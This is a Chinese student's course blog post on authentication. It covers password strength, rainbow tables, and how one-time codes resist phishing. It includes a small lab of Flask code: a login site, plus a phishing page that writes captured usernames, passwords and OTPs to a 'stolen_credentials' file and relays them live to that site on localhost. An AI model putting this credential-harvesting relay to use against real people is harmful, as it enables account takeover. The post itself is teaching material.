身份认证与信息管理:简单实验模拟钓鱼网页

学期2025-2026-1 学号20252332 《网络》第六自学总结“身份认证与信息管理”


目录

初识安全
身份认证与信息管理实验
提取图片方法
后记

初识安全

《网络空间安全导论(微课版)》第六章理解


身份认证与信息管理实验

概念解析略
1.先用你的密码安全吗?实验一下设置的密码安全性
低
中
高
2.演示彩虹表攻击原理(展示简单哈希值破解过程)
为了降低链中因不同密码产生相同哈希(即“碰撞”)而导致链合并失效的概率,彩虹表在构建哈希链的每一步使用不同的归约函数(R函数)。R函数的作用是将哈希值映射回一个可能的明文密码空间。这就像彩虹的光谱,不同位置颜色不同,因此得名“彩虹表”。
在线彩虹表
明文
对应哈希值
使用SHA-256
3.动态验证码防钓鱼

  • 动态验证码(也称为一次性密码,One-Time Password, OTP)在防止钓鱼攻击中起着至关重要的作用。
  • 它的核心原理是:即使攻击者通过钓鱼网站获取了用户的账号和静态密码,由于动态验证码是一次性的且与用户绑定的设备(如手机)相关,攻击者无法获取到当前有效的验证码,因此无法完成登录。
  • 然而,需要注意的是,动态验证码并不能完全防止钓鱼攻击。高级的钓鱼攻击可能会使用实时中间人(MitM)攻击,即攻击者将用户引导至一个伪造的网站,该网站会实时将用户输入的凭证(包括动态验证码)转发到真正的网站,从而在验证码过期前完成登录。
  • 为了防范这种攻击,可以采用以下措施:
    *使用具有挑战-应答机制的动态验证码(如TOTP,基于时间的一次性密码)而不是短信验证码,因为短信可能被拦截(尽管TOTP也可能被实时钓鱼,但难度更大)。
    *使用硬件安全密钥(如FIDO U2F)或推送认证,这些方式能够验证网站的真实性(通过验证域名的数字证书),从而防止中间人攻击。
    实验钓鱼:
# 真实网站代码示例
from flask import Flask, request, render_template_string
import pyotp

app = Flask(__name__)

# 假设每个用户有一个共享密钥,用于生成TOTP
user_secret = "JBSWY3DPEHPK3PXP"

@app.route('/')
def index():
    return render_template_string('''
        <form method="post">
            <input type="text" name="username" placeholder="Username">
            <input type="password" name="password" placeholder="Password">
            <input type="text" name="otp" placeholder="OTP">
            <button type="submit">Login</button>
        </form>
    ''')

@app.route('/', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    otp = request.form['otp']
    
    # 验证密码和OTP
    if password == "correctpassword" and pyotp.TOTP(user_secret).verify(otp):
        return "Login successful!"
    else:
        return "Login failed!"

if __name__ == '__main__':
    app.run(port=5000)

实验真实网站

from flask import Flask, request, render_template_string
import requests

app = Flask(__name__)

@app.route('/')
def index():
    return render_template_string('''
        <form method="post">
            <input type="text" name="username" placeholder="Username">
            <input type="password" name="password" placeholder="Password">
            <input type="text" name="otp" placeholder="OTP">
            <button type="submit">Login</button>
        </form>
    ''')

@app.route('/', methods=['POST'])
def steal_credentials():
    username = request.form['username']
    password = request.form['password']
    otp = request.form['otp']
    
    # 记录窃取的凭证
    with open("stolen_credentials.txt", "a") as f:
        f.write(f"Username: {username}, Password: {password}, OTP: {otp}\n")
    
    # 同时尝试用这些凭证登录真实网站
    response = requests.post("http://localhost:5000", data={
        "username": username,
        "password": password,
        "otp": otp
    })
    
    # 如果登录成功,攻击者可以执行其他操作
    if "successful" in response.text:
        return "Phishing successful! (But this is just a demo)"
    else:
        return "Phishing failed!"

if __name__ == '__main__':
    app.run(port=5001)

实验钓鱼网站
4.🔍 为什么动态验证码能防钓鱼?

  1. 物理设备隔离
    验证码发送到用户的个人设备(手机),与浏览器环境物理隔离。
  2. 上下文感知
    正规服务在发送验证码时通常会包含:
    服务标识:"【XX大学】您的验证码是..."
    操作提醒:"如非本人操作请忽略"
    安全警告:"切勿将验证码告知他人"
  3. 时间窗口限制
    攻击者必须在极短时间内:
    诱骗用户在钓鱼网站输入验证码
    使用该验证码登录正规网站
    这个时间窗口通常只有1-5分钟。
    5.⚠️ 高级钓鱼攻击的威胁
    尽管动态验证码很有效,但仍有高级攻击手段:
  4. 实时中间人攻击
    攻击者建立双向代理:
    用户 ↔ 钓鱼网站 ↔ 正规网站
    用户在所有操作中都能看到"正常"的界面,包括输入验证码。
  5. 钓鱼工具包
    某些高级钓鱼工具能:
    自动转发用户输入的验证码
    在几秒内完成登录
    5.应用场景中的动态验证码
import pyotp
import time
import qrcode
from datetime import datetime
import os  # 添加os模块

class DynamicAuthSystem:
    def __init__(self):
        self.users = {}
    
    def register_user(self, username):
        """为用户注册动态验证码"""
        # 生成随机密钥
        secret = pyotp.random_base32()
        
        # 创建TOTP对象
        totp = pyotp.TOTP(secret, interval=30)  # 30秒有效期
        
        # 存储用户信息
        self.users[username] = {
            'secret': secret,
            'totp': totp,
            'last_login': None
        }
        
        # 生成配置URI(用于身份验证器App)
        provisioning_uri = totp.provisioning_uri(
            name=username,
            issuer_name="校园安全系统"
        )
        
        return secret, provisioning_uri
    
    def generate_qr_code(self, provisioning_uri, username):
        """生成二维码(用于身份验证器App扫描)"""
        qr = qrcode.QRCode(
            version=1,
            error_correction=qrcode.constants.ERROR_CORRECT_L,
            box_size=10,
            border=4,
        )
        qr.add_data(provisioning_uri)
        qr.make(fit=True)
        
        # 保存二维码图片 - 修改保存路径
        save_directory = r"E:\课-网安\网导6\web_python"  # 使用原始字符串避免转义问题
        
        # 确保目录存在
        if not os.path.exists(save_directory):
            os.makedirs(save_directory)
            print(f"📁 创建目录: {save_directory}")
        
        filename = f"{username}_2fa_qr.png"
        full_path = os.path.join(save_directory, filename)  # 组合完整路径
        
        img = qr.make_image(fill_color="black", back_color="white")
        img.save(full_path)
        
        print(f"✅ 二维码已保存为: {filename}")
        print(f"📁 完整路径: {full_path}")
        
        return full_path  # 返回完整路径
    
    def verify_login(self, username, password, otp_code):
        """验证用户登录(包含动态验证码)"""
        if username not in self.users:
            return False, "用户不存在"
        
        user_data = self.users[username]
        totp = user_data['totp']
        
        # 验证动态验证码
        if totp.verify(otp_code):
            user_data['last_login'] = datetime.now()
            return True, "登录成功"
        else:
            return False, "动态验证码错误或已过期"
    
    def get_current_otp(self, username):
        """获取用户当前的动态验证码(用于测试)"""
        if username in self.users:
            return self.users[username]['totp'].now()
        return None

def demo_dynamic_auth():
    """演示动态验证码系统"""
    print("🚀 动态验证码系统演示")
    print("=" * 50)
    
    # 显示当前工作目录
    current_dir = os.getcwd()
    print(f"📂 当前工作目录: {current_dir}")
    
    # 创建认证系统实例
    auth_system = DynamicAuthSystem()
    
    # 注册用户
    username = "student_2024"
    secret, provisioning_uri = auth_system.register_user(username)
    
    print(f"👤 用户名: {username}")
    print(f"🔑 密钥: {secret}")
    print(f"📱 配置URI: {provisioning_uri}")
    
    # 生成二维码
    qr_filename = auth_system.generate_qr_code(provisioning_uri, username)
    
    print("\n📋 登录测试:")
    print("-" * 30)
    
    # 获取当前验证码
    current_otp = auth_system.get_current_otp(username)
    print(f"📟 当前验证码: {current_otp}")
    
    # 测试正确验证码
    success, message = auth_system.verify_login(username, "password123", current_otp)
    print(f"✅ 正确验证码测试: {message}")
    
    # 测试错误验证码
    success, message = auth_system.verify_login(username, "password123", "000000")
    print(f"❌ 错误验证码测试: {message}")
    
    print(f"\n⏰ 验证码将在 {30 - (int(time.time()) % 30)} 秒后更新")
    
    # 提供打开文件的提示
    print(f"\n💡 要查看二维码,请打开文件: {qr_filename}")

if __name__ == "__main__":
    demo_dynamic_auth()

6.如何谨防钓鱼?
检查域名:始终确认访问的是正规域名
使用密码管理器:自动填充只在正规网站工作
关注浏览器安全标识:锁形图标、HTTPS等
启用生物识别:指纹/面部识别作为第二因素

7.安全守则速记
✅ 3要原则
密码要12位混合字符(大小写+数字+符号)
重要账号要开启MFA(如微信/邮箱)
公共电脑登录要退出账号
❌ 3不原则
不重复使用同一密码
不点击“记住密码”弹窗
不透露验证码(客服索要=诈骗)

提取图片方法

在vscode上编辑的截图,复制到博客园上无法显示,需要一张一张手动修正。太麻烦。但是利用dotnet就会方便很多。
具体操作:Dotnet-cnblog使用
dotnet
成功了
dotnet-cnblog proc -f<markdown路径>
(然而最后还是从vscode里下载博客园插件。以后直接在vscode里写博客)

后记

0.(ps:这周任务好多,实验拖不了了emmm...)
1.钓鱼违法,本实验任何操作均进行于实验环境
2.代码均为AI,已经学习基础shell命令。
3.做着实验回想起来刚上大一前两个月做创新比赛,选择从零开始学renpy,3个晚上。都是些简单的python,跳转之类的。请教AI语法(在真正的创意想法中,用AI做出来的像笨蛋)马马虎虎的1200多行,路演开始40分钟还在纠正代码(苦笑)。虽然做好后没多少人看,但是尝试玩的都没通关,都没来得及做测试体验,想着能运行就OK了。后来检查发现有个label跳错了,一直循环(哈哈哈)。今天又开始熬夜敲代码了(加上飞起的工作),但是有一种兴奋感(想缓缓的敲一个 ?)。在压力下好像更有干劲(我还是挺想好好休息的,要保证学业,我的数学),没有这种"压力"每天有空就想睡觉,还睡不够。
4.今天话好多。早上见,高数。
5.第二天又来修正,补一个dotnet,补一个博客园插件。但图片生成并没有很成功。
6.什么都想赶,一气喝成。但前期试错也需要时间,对点打磨也需要时间。

posted @ 2025-11-19 22:39  xxxl_R  阅读(18)  评论(0)    收藏  举报